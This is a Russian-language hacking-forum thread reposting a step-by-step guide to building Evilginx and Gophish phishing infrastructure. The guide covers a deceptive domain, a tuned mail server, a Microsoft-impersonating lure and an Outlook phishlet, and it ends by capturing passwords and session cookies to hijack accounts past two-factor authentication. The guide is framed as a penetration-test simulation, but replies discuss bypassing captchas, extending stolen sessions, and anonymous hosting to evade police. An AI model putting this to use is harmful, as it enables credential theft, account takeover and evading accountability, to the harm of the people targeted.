• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Evilginx + Gophish. Поднимаем инфраструктуру для симуляции фишинга с обходом 2FA

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
В этой статье я объясню, как построить инфраструктуру для симуляции фишинговой атаки в рамках тестирования организации. Мы создадим с нуля почтовый сервер, установим и настроим обратный прокси Evilginx, а затем внедрим его в фишинговый фреймворк Gophish. В конце я покажу на практике процесс проведения фишинговой атаки с перехватом логина, пароля и сессионных cookie, c последующим обходом двухфакторной аутентификации.

Связка Evilginx и Gophish​

Два фреймворка, которые мы будем использовать для проведения фишинговой кампании, называются Evilginx и Gophish. Это два самостоятельных инструмента, которые выполняют разные задачи.

Gophish — это программа с открытым кодом, созданная Джорданом Райтом. Gophish позволяет проводить автоматизированные фишинговые рассылки и таким образом имитировать действия злоумышленника.

Evilginx — это обратный прокси‑сервер, который проксирует соединение между пользователем и целевым веб‑ресурсом, позволяя перехватить логин, пароль и ключи сеанса. С помощью этого фреймворка можно обойти двухфакторную аутентификацию. Автор Evilginx — Куба Грецки.

Есть две версии интеграции этих двух инструментов. Первая — неофициальная, ее разработал Дилан Эванс, он же fin3ss3g0d. Она включает в себя более расширенный набор возможностей вроде SMS-рассылок и генерации QR-кодов, а также некоторые другие отличия от официальной версии.

Официальную интеграцию разработал автор Evilginx Куба Грецки, и появилась она относительно недавно — в апреле 2024 года. На данный момент в ней меньше функций, чем в версии fin3ss3g0d, но инструмент постоянно обновляется, и, скорее всего, все недостающее добавят. В статье я буду использовать именно эту версию интеграции.

Начинаем строить инфраструктуру​

Для начала необходимо арендовать VPS/VDS и доменное имя. Нам хватит следующей конфигурации: 1 Гбайт ОЗУ, 20 Гбайт SSD и один процессор. В качестве ОС — Ubuntu 20.04.
1.png

Получаем креды от сервера, подключаемся к машине по SSH и проводим базовую настройку: создаем нового пользователя и добавляем его в группу sudo, создаем ключи SSH, отключаем аутентификацию по паролю, настраиваем порты, правила файрвола и так далее.

Разобравшись с сервером, приступаем к созданию и настройке домена. Для этого выбираем любой сервис, предоставляющий услуги аренды. Один из ключевых компонентов фишинговой атаки — это доменное имя, которое введет пользователя в заблуждение. Этот процесс называется тайпсквоттинг, и вариантов здесь может быть много.

Я решил создать неприметный домен webaccount.site, чтобы потом добавить к нему поддомены, содержащие названия известных организаций, так как поддомены необязательно должны быть уникальными. Например, если добавим поддомен microsoft, у нас получится microsoft.webaccount.site.

Теперь приступим к настройке DNS. Первым делом нужно установить основную запись типа А, которая связывает доменное имя с IP-адресом сервера. Для этого редактируем ресурсные записи в разделе управления зоной DNS у регистратора.

2.png

В дальнейшем при создании фишинговых адресов будет использоваться множество поддоменов и для каждого такого поддомена потребуется отдельная запись типа A, однако можно использовать и запись типа CNAME, передав ей в качестве аргумента регулярное выражение «звездочка».

3.png

Этот тип записи сопоставит псевдоним (поддомен) с каноническим именем домена (webaccount.site) в момент генерации фишингового адреса и получения TLS/SSL-сертификата в Evilginx.

Подождем, пока DNS-записи распространятся (это может занять некоторое время, от 15 минут до нескольких часов), и проверим работоспособность сервера. Для этого просто обращаемся к домену через браузер.

4.png

Домен успешно привязался к серверу. После аренды домена желательно подождать хотя бы неделю: чем домен старше, тем меньше вероятность, что он окажется в черных списках. Во время моих первых попыток я регистрировал домен и сразу же использовал его в имитации фишинговой атаки, из‑за чего его отстреливали в течение суток. Раз с доменом разобрались, приступим к установке почтового сервера.


Поднимаем почтовый сервер​

SMTP-сервер — один из ключевых компонентов нашей будущей инфраструктуры. Его задача — выступать в роли ретранслятора. Настройка почтового сервера несложная, но требует множества последовательных действий.

Первым делом необходимо установить две записи. Одна — типа А с именем mail, указывающая на IP-адрес сервера.
5.png

Вторая запись — типа MX, которая указывает на сервер, обрабатывающий электронную почту.
6.png

Теперь можно приступить к установке и настройке Postfix. Подключаемся к своему VPS/VDS по SSH и запускаем установку:
Код:
sudo apt install postfix
При настройке в первом шаге выбираем пункт Internet Site.

7.png


Вводим доменное имя, которое будет определяться при отправке почты.

8.png

Указываем почтовый адрес администратора домена. Можно оставить пустым (что не рекомендуется), тогда почта, предназначенная для администратора, будет отправляться в /var/mail/nobody.

9.png

Дальше прописываем адреса вот в таком формате:
Код:
<hostname>, <domain>, localhost.com, localhost
10.png


Отказываемся от принудительного выполнения синхронизации обновлений.

11.png


Поле с локальной сетью не трогаем и оставляем по умолчанию.

12.png


Размер почтового ящика оставляем со значением 0, в этом случае он будет определяться общим дисковым пространством.

13.png


Символ, который будет использоваться для определения расширения локального адреса, — ставим плюсик.

14.png


И в последней настройке выбираем используемые протоколы — all.

15.png


После настройки установку Postfix можно считать завершенной. Проверяем при помощи утилиты netcat, запустился ли почтовый сервер. Достаточно постучаться на 25-й порт нашего хоста (порт SMTP по умолчанию).
16.png

Почтовый сервер запущен, но одной установки мало, необходимо также настроить ресурсные записи, чтобы почта доходила до конечной точки. Если пропустить этот важный этап, почта не то что будет попадать в спам, она в принципе не будет рассматриваться почтовыми серверами. Для успешной доставки сообщений необходимо настроить ресурсные DNS-записи типа TXT — SPF, DKIM, DMARC.

Настраиваем SPF, DKIM и DMARC​

SPF​

Начнем с записи SPF (Sender Policy Framework). Это текстовая запись, которая описывает то, какие хосты имеют право отправлять почту от имени домена, то есть это список доверенных серверов. По сути, SPF — это механизм, проверяющий, авторизован ли хост, отправляющий электронное письмо от определенного доменного имени.

Чтобы такое правило работало, создаем запись TXT в панели управления доменом.
17.png

Эта запись определяет, что электронную почту от имени домена могут отправлять серверы, указанные в записях MX и A домена, а также имеющие IP-адреса из диапазона 94.142.141.0/24. Почта от других хостов будет помечена как подозрительная.

Ты можешь воспользоваться веб‑инструментом SPF Wizard, чтобы создать свои правила SPF.

DKIM​

Второй записью настроим DKIM (DomainKeys Identified Mail). Это механизм проверки электронной почты, задача которого — предотвращать подделку сообщений. Для этого применяется асимметричное шифрование: каждое сообщение подписывается закрытым ключом.

DKIM использует пары ключей: закрытый, к которому имеет доступ только почтовый сервер, и открытый, который прописывается в текстовой DNS-записи, а затем используется получателем для проверки легитимности сообщения.

Настройка этой записи потребует множество шагов, будь внимателен при их выполнении — сделать что‑то не так довольно легко. Полное руководство по настройке DKIM есть на DigitalOcean, я не буду полностью переписывать его, а только опишу ключевые моменты.

Первым делом устанавливаем утилиту OpenDKIM:
Код:
sudo apt update
sudo apt install opendkim opendkim-tools
И редактируем файл /etc/opendkim.conf. Добавим следующие строки (номер порта Socket выбираем любой, который не занят):
Код:
AutoRestart Yes
AutoRestartRate 10/1h
UMask 002
Syslog yes
SyslogSuccess Yes
LogWhy Yes
Canonicalization relaxed/simple
ExternalIgnoreList refile:/etc/opendkim/TrustedHosts
InternalHosts refile:/etc/opendkim/TrustedHosts
KeyTable refile:/etc/opendkim/KeyTable
SigningTable refile:/etc/opendkim/SigningTable
Mode sv
PidFile /var/run/opendkim/opendkim.pid
SignatureAlgorithm rsa-sha256
UserID opendkim:opendkim
Socket inet:12712@localhost
Подключаем расширение Milter к Postfix. Сначала открываем файл /etc/default/opendkim и меняем номер порта вот в этой строке:
Код:
SOCKET="inet:12301@localhost"
Новый номер выбираем тот, что указали ранее в opendkim.conf:
Код:
SOCKET="inet:12712@localhost"
Затем настраиваем Postfix на использование Milter. Для этого открываем файл /etc/postfix/main.cf и убеждаемся, что присутствуют эти две строки и они не закомментированы:
Код:
milter_protocol = 2
milter_default_action = accept
Редактируем следующие строки, меняя номер порта на тот, что определили ранее.
21.png

Если таких параметров в файле нет, то прописываем их:
Код:
smtpd_milters = inet:localhost:12712
non_smtpd_milters = inet:localhost:12712
Создаем каталоги для взаимодействия с ключами:
Код:
sudo mkdir /etc/opendkim
sudo mkdir /etc/opendkim/keys
Указываем доверенные хосты в файле /etc/opendkim/TrustedHosts.

22.png

Создаем таблицу ключей, для этого прописываем в файл /etc/opendkim/KeyTable такую строку:
Код:
mail._domainkey.webaccount.site webaccount.site:mail:/etc/opendkim/keys/webaccount.site/mail.private
Создаем таблицу подписей, прописав в файл /etc/opendkim/SigningTable эту строку:
Код:
*@webaccount.site mail._domainkey.webaccount.site
Теперь приступим к созданию пары открытого и закрытого ключей. Переходим в каталог /etc/opendkim/keys и создаем директорию для домена, в которой будут храниться ключи.

25.png

Генерируем ключи следующей командой:
Код:
sudo opendkim-genkey -s mail -d webaccount.site
После чего меняем владельца файла с закрытым ключом на учетную запись opendkim.

26.png


Осталось добавить содержимое файла mail.txt в текстовую запись DNS в панели управления доменом. Выводим содержимое файла в консоль, копируем всю строку, которая находится в скобках, и приводим к нужному формату.

27.png


В итоге у меня получилось отформатированное значение, которое нужно добавить в DNS-запись типа TXT с ключом mail._domainkey.

28.png



29.png


DMARC​

Политика DMARC (Domain-based Message Authentication, Reporting & Conformance) нужна для предотвращения спуфинга электронной почты. Этот протокол, по сути, дополнение к SPF и DKIM. Он определяет правила обработки электронных сообщений, которые поступили с неавторизованных доменов.

Настройка крайне проста, особенно на фоне DKIM. Достаточно создать TXT-запись вроде той, что на скриншоте.
30.png


Тестируем SMTP-сервер​

Когда все настроено, время проверить работоспособность сервера SMTP. Для этого можно либо отправить сообщение себе на почту с любого сервиса, либо же воспользоваться mail-тестером. Открываем сайт по ссылке, копируем указанный там почтовый адрес и жмем большую кнопку «Проверить». Теперь мы можем отправить сообщение на выданный нам адрес. Это делается вот такой командой:
Код:
echo "Test" | mail -s "Test" [почтовый адрес]
Как видим, почтовый сервер настроен и корректно работает (половину балла мне сняли, потому что домен есть в одном из нескольких черных списков, но это совсем не критично). Если ты сделал ошибки в настройке, в этом отчете они будут указаны.

31.png


Ставим и настраиваем Evilginx и Gophish​


Ставим Gophish​

Прежде чем поднимать Evilginx и Gophish, нужно установить в систему язык Go, так как оба этих инструмента работают на нем. Отправляемся на сайт разработчика и открываем страницу установки, скачиваем deb-пакет командой wget и следуем инструкции.

32.png

Приступим к установке Gophish. Нам нужно скачать версию с интеграцией в Evilginx из репозитория, тут есть два варианта установки. Первый — скачиваем командой wget архив с релизом для своей ОС со страницы releases, после чего просто разархивируем файл и делаем бинарник Gophish исполняемым командой chmod.

Второй вариант — сборка из исходного кода. Для этого копируем репозиторий и запускаем установку:
Код:
sudo git clone https://github.com/kgretzky/gophish/
go build
В результате у нас будет версия Gophish, модифицированная для работы с Evilginx.

33.png

Теперь можно приступить к настройке и запуску Gophish. Первым делом редактируем файл config.json. В нем нужно изменить параметр admin_server.listen_url. По умолчанию там указан локальный IP 127.0.0.1. Чтобы Gophish работал не только локально и к нему возможно было подключиться через интернет, нужно изменить этот IP на 0.0.0.0:3333. Номер порта, кстати, можно выставить любой незанятый в системе.

34.png


После настройки запускаем исполняемый файл Gophish и сразу ищем в логах логин и пароль по умолчанию для доступа к панели управления.

35.png

Теперь переходим в браузер и обращаемся к панели Gophish по адресу своего VPS/VDS с указанным ранее портом.

36.png

Вводим креды, которые нашли в логах, после чего у нас открывается форма для изменения пароля по умолчанию. Меняем пароль, снова вводим креды, аутентифицируемся и попадаем в нашу учетную запись Gophish.

37.png

Чтобы оптимизировать запуск и дальнейшие фишинговые кампании, нужно настроить Gophish как демон, то есть создать сервис, который будет запускать Gophish в фоновом режиме или останавливать одной командой. В каталоге /etc/init.d находятся сценарии оболочки, которые запускаются системой инициализации SysVinit, поэтому создаем в этом каталоге файл Gophish и добавляем следующий код, указав в параметре appDirectory абсолютный путь к Gophish:
Код:
processName=Gophish
process=gophish
appDirectory=/home/zxc/gophish
logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error
start() {
    echo 'Starting '${processName}'...'
    cd ${appDirectory}
    nohup ./$process >>$logfile 2>>$errfile &
    sleep 1
}
stop() {
    echo 'Stopping '${processName}'...'
    pid=$(/bin/pidof ${process})
    kill ${pid}
    sleep 1
}
status() {
    pid=$(/bin/pidof ${process})
    if [["$pid" != ""| "$pid" != "" ]]; then
        echo ${processName}' is running...'
    else
        echo ${processName}' is not running...'
    fi
}
case $1 in
    start|stop|status) "$1" ;;
esac
Сохраняем файл и прописываем команды для запуска демона и проверки статуса его работы.

38.png

Сервис запускается и работает корректно.

Ставим Evilginx​

Копируем официальный репозиторий Evilginx с GitHub:
Код:
sudo git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
Evilginx тоже написан на Go, который у нас уже установлен. Поэтому просто выполняем make. Скрипт соберет весь проект и создаст исполняемый файл evilginx в директории build.
39.png

Чтобы постоянно не прописывать бесконечные пути, лучше собрать все необходимое в отдельном каталоге. Создаем директорию evilginx в домашнем каталоге и копируем исполняемый файл evilginx вместе с директориями phishlets и redirectors в ~/evilginx:
Код:
sudo mkdir ~/evilginx
sudo cp ./build/evilginx ~/evilginx
sudo cp -r ./phishlets/
sudo cp -r ./redirectors
Когда все готово, приступаем к настройке. Запускаем Evilginx:
Код:
sudo ./evilginx -p phishlets/
41.png

Нам необходимо определить IP-адрес и домен, а также интегрировать Gophish. В консоли Evilginx прописываем эти команды:
Код:
config domain [ваш домен]
config ipv4 [IP вашего VPS/VDS]
config Gophish admin_url [URL, на котором поднят gophish]
config Gophish api_key [ключ API gophish]
config Gophish insecure true
Ключ API Gophish можно найти в панели управления Gophish, перейдя на вкладку Account Settings.

42.png


Теперь выполняем команду config gophish test для тестирования соединения Evilginx и Gophish.

43.png

Сообщение гласит о том, что соединение успешно.

На этом этапе мы построили основную часть инфраструктуры. Теперь можно начать подготовку к проведению фишинговой кампании.

Настройка кампании Gophish​

Отправляемся в панель управления Gophish и начинаем настраивать компоненты для рассылки фишинговых сообщений.

Первый компонент — это группы пользователей, которым будут рассылаться письма. Другими словами, это жертвы, точнее, подопытные в нашем тесте.

Предположим, в результате разведки мы получили имена и почтовые адреса работников компании. Все эти данные добавляем в соответствующие поля и нажимаем кнопку Add для каждого пользователя. Либо можешь сразу загрузить файл CSV, содержащий все эти данные. Когда вся инфа добавлена, нажимаем кнопку Save changes.

44.png

Следующее, что стоит настроить, — это шаблон электронного письма. Правильно написанное письмо, не вызывающее подозрений, а вызывающее только желание поскорее нажать на ссылку и выполнить все инструкции, — это ключевой компонент успешной фишинговой атаки. Тут уже все зависит от навыков социальной инженерии атакующего. Я создам абсолютно условное фишинговое письмо и не буду расписывать методы социальной инженерии, это отдельная тема.


Чтобы создать фишинговое письмо, я взял HTML-код настоящего сообщения от Microsoft, которое приходило мне на почту, а затем немного изменил его содержание.

В разделе Email Templates вставляем HTML-код и редактируем сообщение на вкладке HTML.

45.png

Не забываем поставить галочку Add Tracking Image, которая добавит трекер для отслеживания статистики по открытым письмам. Трекер выглядит как переменная {{.Tracker}} в коде сообщения. Кстати, об этих переменных стоит поговорить чуть подробнее.

При помощи переменных ты можешь менять содержимое сообщения в зависимости от пользователя, которому оно отправлено. Всего переменных десять, нам в первую очередь пригодятся {{.FirstName}}, {{.LastName}} и {{.Email}}, которые подставляют имя, фамилию и адрес почты из настроек групп пользователей. Благодаря им письма не придется персонализировать вручную.

Переменная {{.URL}} подставляет сгенерированную фишинговую ссылку в сообщение. Например, я подставил ссылку через переменную в кнопку «Подтвердить». Про остальные переменные можно прочитать в документации.

Также прописываем заголовок и отправителя сообщения, который будет указан, когда письмо дойдет. Я просто скопировал отправителя из официального сообщения Microsoft, но изменил домен на свой, добавив слово microsoft поддоменом третьего уровня. В итоге мое сообщение будет отправлено от имени «Служба технической поддержки учетных записей Microsoft noreply@microsoft.webaccount.site».

Ниже — фишинговое письмо, которое у меня получилось. Gophish будет подставлять почту пользователя вместо переменной {{.Email}}.

46.png

Письмо, как видишь, условное и на практике потребовало бы доработки.

Третий компонент — это профиль отправки, тот, ради которого мы настраивали почтовый сервер и записи DNS. Здесь мы указываем SMTP-ретранслятор, с помощью которого будет происходить рассылка. Открываем вкладку Sending Profile, пишем название профиля, указываем почту отправителя и, наконец, пишем адрес и порт SMTP-ретранслятора. Так как он находится на том же хосте, где мы запустили Gophish, вводим localhost:25 (порт SMTP указывать обязательно). Также не забудь поставить галочку Ignore Certificate Errors.

47.png

В этом же окне есть кнопка для отправки тестового письма, обязательно проверяй работоспособность SMTP-ретранслятора перед проведением кампании.

48.png

На этом настройка компонентов Gophish закончена, поэтому сворачиваем браузер и приступаем к созданию фишинговых ресурсов Evilginx.

Cоздание фишинговых ресурсов Evilginx​

Первое, с чем нужно ознакомиться, — фишлеты Evilginx. Это самая основа, с их помощью и обходится 2FA. Фишлеты — это конфигурационные файлы YAML, которые определяют, какие домены и поддомены проксировать, подменять, какие аутентификационные данные перехватывать и что с ними делать. В общем, правильно настроенный фишлет определяет технический успех фишинговой атаки. Для каждого веб‑ресурса пишется свой фишлет, однако каждый фишлет — это шаблон.

Я не буду подробно описывать, как работают фишлеты или как их создавать, об этом поговорим в другой раз. Пока же можешь обратиться к официальной документации. Самое главное — не покупай фишлеты в «Телеграме», на форумах и тому подобных ресурсах!

Настраиваем фишлет​

Целевым веб‑ресурсом я выбрал Outlook, фишлет к которому уже написан и опубликован в репозитории на GitHub. Скачиваем его и перемещаем в директорию ~/evilginx/phishlets.

Запускаем Evilginx с фишлетом:
Код:
sudo ./evilginx -p phishlets/
И начинаем настраивать фишинговые компоненты. Первым делом задаем URL, который пользователь будет видеть во время проксирования трафика. Нужно придумать такое имя хоста, которое не будет вызывать подозрений. Я добавил два поддомена к своему имени хоста:
Код:
microsoft.outlook.webaccount.site
Так как поддомены необязательно должны быть уникальными, мы используем это свойство для добавления известных и авторитетных имен. Указываем имя хоста и активируем фишлет:
Код:
phishlets hostname Outlook microsoft.outlook.webaccount.site
phishlets enable Outlook
В этот момент Evilginx будет автоматически получать сертификаты SSL/TLS для всех доменов и поддоменов, которые используются в атаке, чтобы фишинговый URL, да и соединение в принципе работали по протоколу HTTPS.

49.png

Через 30 секунд успешно получаем все сертификаты SSL/TLS и двигаемся дальше.

Готовим приманки​

Следующие в очереди приманки, они же Lures в официальной документации. По факту это просто сгенерированные фишинговые ссылки, которые мы отправляем. Настройка очень проста, сначала создаем приманку для фишлета Outlook:
Код:
lures create Outlook
Консоль выведет числовой идентификатор приманки, он нам еще пригодится. Приводим ссылку к такому виду:
Код:
https://microsoft.outlook.webaccount.site/user/account
50.png

Копируем сгенерированную фишинговую ссылку и переходим в Gophish.

Запускаем фишинговую атаку​

Теперь откроем вкладку Campaigns и соберем все воедино. Пишем название кампании и выбираем по заданным именам: шаблон электронного письма, профиль отправки и группу пользователей.

51.png

Выбрав все компоненты, вставляем сгенерированную ранее ссылку в поле Evilginx Lure URL и нажимаем на кнопку Launch Campaign.

52.png

После запуска кампании мы видим статистику, которая ведется в режиме реального времени. Пока что четыре сообщения отправлены, но никем не прочитаны.

53.png

Проверяем почту и видим, что фишинговое сообщение дошло.

54.png


Нажав на профиль отправителя, замечаем, что тут указано всё то, что мы прописали в шаблоне электронного сообщения Gophish. Невнимательный пользователь, скорее всего, даже не будет проверять, но если кто‑то и проверит, то есть вероятность, что слово microsoft в названии домена убаюкает подозрительность.

55.png

Сразу же проверим, работает ли трекер, отслеживающий открытие сообщений. Видим, что просмотр сообщения регистрируется, статус пользователя в столбце Status меняется, к тому же обновляются диаграммы.

56.png

Вернемся к нашему фишинговому письму. Когда мы наводим курсор на кнопку «Подтвердить», в нижнем углу браузера видим ссылку, по которой мы перейдем после нажатия.

57.png


Имитируя действия потенциальной жертвы, переходим по фишинговой ссылке и ждем, пока браузер проверит, безопасная ли это страница.
58.png

Нас перенаправляет на настоящую страницу авторизации Microsoft, но при этом весь трафик проходит через наш обратный прокси‑сервер вот с таким доменом:
Код:
live.microsoft.outlook.webaccount.site
59.png

Вводим логин и пароль, после чего получаем запрос на подтверждение второго фактора аутентификации в приложении Microsoft Authenticator.

60.png


Продолжая имитацию действий потенциальной жертвы, подтверждаем вход в мобильном приложении и ждем, пока пройдет аутентификация.
61.png


И в итоге входим в учетную запись. При этом соединение все еще происходит через прокси‑сервер потенциального злоумышленника.

62.png


Открываем консоль Evilginx и видим логи успешного перехвата.

63.png

Вводим команду
Код:
sessions [ID сессии]
И получаем информацию, которая содержит время перехвата, IP-адрес жертвы, User agent, логин, пароль и cookie сеанса.

64.png

Логин и пароль — это, конечно, важная и критическая информация, но смысл этой атаки — перехватить токен сеанса в виде файла cookie. Чтобы проэксплуатировать перехват сессии, копируем всю строку cookies и открываем браузер.

Устанавливаем расширение Cookie-Editor, которое позволяет манипулировать куками, и открываем легитимную страницу входа в Microsoft Outlook. Перед тем как подменять cookie, удаляем те, что назначены браузером. Для этого просто нажимаем кнопку Delete All.

65.png

Затем нажимаем кнопку Import и вставляем сплошную строку из перехваченной сессии в Evilginx. Теперь еще раз нажимаем на Import и обновляем страницу.

66.png

После обновления страницы браузер обрабатывает куки, которые мы внедрили, и открывает учетную запись пользователя, у которого был перехвачен сессионный токен.

67.png

Раздобыв учетку Microsoft в любом сервисе, мы также получаем доступ к основным настройкам и ко всем сервисам этой учетной записи. Это может быть довольно критично, особенно учитывая, сколько конфиденциальной информации может храниться в OneDrive или в документах Word.

68.png


Подводим итоги​

Задача Gophish заключается не только в автоматизации рассылок, но и в ведении статистики, например для подготовки отчетов о результатах атаки, которые пригодятся пентестерам. После завершения кампании мы получаем статистику о том, кто открыл письмо, кто перешел по ссылке, кто попался на фишинг и ввел креды или же что‑то заподозрил и пожаловался на письмо.

69.png

На этом наша фишинговая кампания завершена. Как видим, для проведения этой атаки нам потребовались только базовые технические знания и навыки, а также небольшое финансовое вложение в аренду сервера и домена.

Есть еще огромное множество методов, которые сделают атаку более изощренной, но моей целью было показать базовый вариант, который тем не менее вполне может применяться на практике.

Автор @kotoamatsukami Наделяев Георгий
Источник xakep.ru
 
Размещение админки и smtp на одном сервере - это не самый лучший вариант.
Лучше разделять на несколько серверов или хотя бы на два. На одном Evilginx, а на втором почтовый сервер.
 
1. Правильно ли я понимаю, что целевой веб-ресурс будет взаимодействовать со "слепком браузера" Evilginx и стригерит выбросом капчи, так как слепок необычный. А если ресурс за Сloudflare или на форме авторизации стоит гугл-капча, это позволит юзеру хотябы увидеть и сабмитнуть авторизационную форму? Капча же привязана к домену целевого ресурса, смена домена на свой не будет ли помехой?

2. Если юзер авторизуется не через свои креды, а по кнопке "войти через соцсеть" (Гугл акк, фейсбук и пр.) - как мы узнаем креды? Или будет только сессия, которая быстро слетит и в акк уже не попасть.
 
1. Правильно ли я понимаю, что целевой веб-ресурс будет взаимодействовать со "слепком браузера" Evilginx и стригерит выбросом капчи, так как слепок необычный. А если ресурс за Сloudflare или на форме авторизации стоит гугл-капча, это позволит юзеру хотябы увидеть и сабмитнуть авторизационную форму? Капча же привязана к домену целевого ресурса, смена домена на свой не будет ли помехой?

2. Если юзер авторизуется не через свои креды, а по кнопке "войти через соцсеть" (Гугл акк, фейсбук и пр.) - как мы узнаем креды? Или будет только сессия, которая быстро слетит и в акк уже не попасть.
2. Ты на выходе у себя имеешь его авторизационную сессию. В принципе неважно, через что он авторизовался. Таким образом в большинстве случаев креды не будут важны и не нужны. Жизнь сессии всегда индивидуальна . Но если у проксируемого ресурса есть заветный чекбокс "запомнить меня", то смело через инжекты можно отправлять запрос к серверу с true значением. Ну или продлевать теми же инжектами экспу куки на момент отправки к серверу при авторизации

1. Можно делать подмену в сабфильтрах меняя заголовки реквестов и прочее. Иными словами клауд не будет помехой. Либо вовсе не проксировать запросы относящиеся к нему. В основном даже куки клауда не важны, а следовательно успешное прохождение его.
 
1. Можно делать подмену в сабфильтрах меняя заголовки реквестов и прочее. Иными словами клауд не будет помехой. Либо вовсе не проксировать запросы относящиеся к нему. В основном даже куки клауда не важны, а следовательно успешное прохождение его.
Есть опыт именно по капче reCaptcha, по дефолту она у юзера покажется как у нас или ее надо на свою перебивать заголовками в реквестах и т.п.?
 
Ага, потом в новостях "хакер Вася Пупкин поднял фишинговый сайт, купив VDS и домен используя email привязанный к его телефону (на свой паспорт по сути) и оплатив маминой банковской карточкой" :)
Тут главный вопрос не в технической составляющей даже, спасибо за подробное описание кстати, а в том где зарегать VDS+домен анонимно. А то фишинг то прокатит конечно допустим, но потом найти фишера не составит труда.
 
Покопался на гитхабе увидел так же фишлет paypal , но для меня кажеться не логичным .. возможно без доп верифа делать переводы в палке ? даже если зайдем в аккаун по кукам + юсер агент то это не даст нам кроме просмотраба баланса ровным счетом - ничего , если не прав и есть знатоки по палкам , поправте меня.
 
Покопался на гитхабе увидел так же фишлет paypal , но для меня кажеться не логичным .. возможно без доп верифа делать переводы в палке ? даже если зайдем в аккаун по кукам + юсер агент то это не даст нам кроме просмотраба баланса ровным счетом - ничего , если не прав и есть знатоки по палкам , поправте меня.
если 2фа на транзы, вывод и прочее, то уже ничего не сделаешь особо
 
Ага, потом в новостях "хакер Вася Пупкин поднял фишинговый сайт, купив VDS и домен используя email привязанный к его телефону (на свой паспорт по сути) и оплатив маминой банковской карточкой" :)
Сколько не читал о расследованиях - везде присутстуют самые лажовые и тупые зацепки по которым вышли на злоумышленников. Будь то личный емаил, свой акк на бирже, открытый блокчейн, своя карта и т.п. Это наводит на мысль, что забугорные мусора в некоторых случаях просто шьют это к делу, но на самом деле зацепки совсем другие о которых не хотят распространять, дабы не обучать других тем самым усложняя их поиск. Предполагаю, что это банальные тайминг атаки, скомпроментированные входные/выходные ноды тора, бэкдоры в популярных ОС, вайфай/блутуз сканирование соседних незащищенных устройств.
 
Yeah, then in the news "hacker Vasya Pupkin set up a phishing site, having bought a VDS and a domain using an email linked to his phone (essentially to his passport) and paying with his mother's bank card":)
The main question here is not even in the technical component, thanks for the detailed description by the way, but in where to register VDS + domain anonymously. Otherwise, phishing will work, of course, let's say, but then finding a phisher will not be difficult.
Use trusted hosting (that is up to you to determine) in multiple countries adversarial to your target country (they will be less willing to cooperate (think China/Russia vs 5eyes countries)), each hop in a different country preferably. Use anonymously acquired crypto and separate all identifying information like wallet, email, IP, etc for each account (anitidetect helps), taking care not to mix traffic between them. If you are important enough for them to force cooperation on one hop they will find another difficult situation for the next one, and so on depending how deep you wanna go
 
По поводу Gophish не знаю, но попробовал задеплоить Evilginx по этому гайду на Linux Ubuntu 22.04, есть ошибки и недосказанность (Видимо автор специально так сделал чтобы каждый ребенок не смог это запустить). Проще юзать оф.документацию и гугл чтобы не запутаться. =)
 
Последнее редактирование:
Сколько не читал о расследованиях - везде присутстуют самые лажовые и тупые зацепки по которым вышли на злоумышленников. Будь то личный емаил, свой акк на бирже, открытый блокчейн, своя карта и т.п. Это наводит на мысль, что забугорные мусора в некоторых случаях просто шьют это к делу, но на самом деле зацепки совсем другие о которых не хотят распространять, дабы не обучать других тем самым усложняя их поиск. Предполагаю, что это банальные тайминг атаки, скомпроментированные входные/выходные ноды тора, бэкдоры в популярных ОС, вайфай/блутуз сканирование соседних незащищенных устройств.
не стоит недооценивать человеческую глупость. на соседних англоязычных бордах вообще популярная тема деанонить друг друга, там это называют d0x'ить. хотя истина где-то поседине, факт
 
Мой опыт работы с EvilGoPhish - работает, но функционал очень ограничен.

Для себя планирую допилить вариант использовать разные URL для трекера и на фишинг, потому что часто ссылку на сам фиш нужно спрятать за редиректором, который будет висеть вообще на другом домене и в этом варианте трекинг открытия письма уже не будет работать из коробки
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх